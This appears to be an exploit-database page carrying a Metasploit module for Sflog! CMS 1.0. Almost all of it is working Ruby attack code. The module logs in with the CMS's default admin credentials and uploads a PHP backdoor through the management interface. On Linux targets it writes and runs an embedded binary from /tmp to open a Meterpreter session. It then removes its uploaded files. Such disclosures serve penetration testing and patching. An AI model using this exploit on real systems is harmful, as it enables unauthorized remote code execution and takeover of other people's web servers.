Sflog! CMS 1.0 Arbitrary File Upload Vulnerability



EKU-ID: 2625 CVE: OSVDB-ID: 83767
Author: sinn3r Published: 2012-09-10 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
   'Description'    => %q{
    This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
    a default admin credential of "admin:secret", which can be abused to access
    administrative features such as blogs management.  Through the management
    interface, we can upload a backdoor that's accessible by any remote user, and then
    gain arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'dun',    #Discovery, PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['OSVDB', '83767'],
     ['EDB', '19626']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => ['linux', 'php'],
   'Targets'        =>
    [
    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
    [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 06 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
    OptString.new('USERNAME',  [true, 'The username to login with', 'admin']),
    OptString.new('PASSWORD',  [true, 'The password to login with', 'secret'])
   ], self.class)
 end


 def check
  target_uri.path << '/' if target_uri.path[-1,1] != '/'
  base = File.dirname("#{target_uri.path}.")

  res = send_request_raw({'uri'=>"#{base}/index.php"})

  if not res
   return Exploit::CheckCode::Unknown
  elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end


 #
 # Embed our binary in PHP, and then extract/execute it on the host.
 #
 def get_write_exec_payload(fname, data)
  p = Rex::Text.encode_base64(generate_payload_exe)
  php = %Q|
  <?php
  $f = fopen("#{fname}", "wb");
  fwrite($f, base64_decode("#{p}"));
  fclose($f);
  exec("chmod 777 #{fname}");
  exec("#{fname}");
  ?>
  |
  php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  return php
 end


 def on_new_session(cli)
  if cli.type == "meterpreter"
   cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  end

  @clean_files.each do |f|
   print_status("#{@peer} - Removing: #{f}")
   begin
    if cli.type == 'meterpreter'
     cli.fs.file.rm(f)
    else
     cli.shell_command_token("rm #{f}")
    end
   rescue ::Exception => e
    print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
   end
  end
 end


 #
 # login unfortunately is needed, because we need to make sure blogID is set, and the upload
 # script (uploadContent.inc.php) doesn't actually do that, even though we can access it
 # directly.
 #
 def do_login(base)
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => "#{base}/admin/login.php",
   'vars_post' => {
    'userID'   => datastore['USERNAME'],
    'password' => datastore['PASSWORD']
   }
  })

  if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
   return res.headers['Set-Cookie']
  else
   return ''
  end
 end


 #
 # Upload our payload, and then execute it.
 #
 def upload_exec(cookie, base, php_fname, p)
  data = Rex::MIME::Message.new
  data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
  data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
  data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
  data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

  # The app doesn't really like the extra "\r\n", so we need to remove the newline.
  post_data = data.to_s
  post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

  print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{base}/admin/manage.php",
   'ctype'  => "multipart/form-data; boundary=#{data.bound}",
   'data'   => post_data,
   'cookie' => cookie,
   'headers' => {
    'Referer' => "http://#{rhost}#{base}/admin/manage.php",
    'Origin'  => "http://#{rhost}"
   }
  })

  if not res
   print_error("#{@peer} - No response from host")
   return
  end

  target_path = "#{base}/blogs/download/uploads/#{php_fname}"
  print_status("#{@peer} - Requesting '#{target_path}'...")
  res = send_request_raw({'uri'=>target_path})
  if res and res.code == 404
   print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
   return
  end

  handler
 end


 def exploit
  @peer = "#{rhost}:#{rport}"

  target_uri.path << '/' if target_uri.path[-1,1] != '/'
  base = File.dirname("#{target_uri.path}.")

  print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  cookie = do_login(base)

  if cookie.empty?
   print_error("#{@peer} - Unable to login")
   return
  end

  php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
  @clean_files = [php_fname]

  case target['Platform']
  when 'php'
   p = "<?php #{payload.encoded} ?>"
  when 'linux'
   bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
   @clean_files << bin_name
   bin = generate_payload_exe
   p = get_write_exec_payload("/tmp/#{bin_name}", bin)
  end

  upload_exec(cookie, base, php_fname, p)
 end
end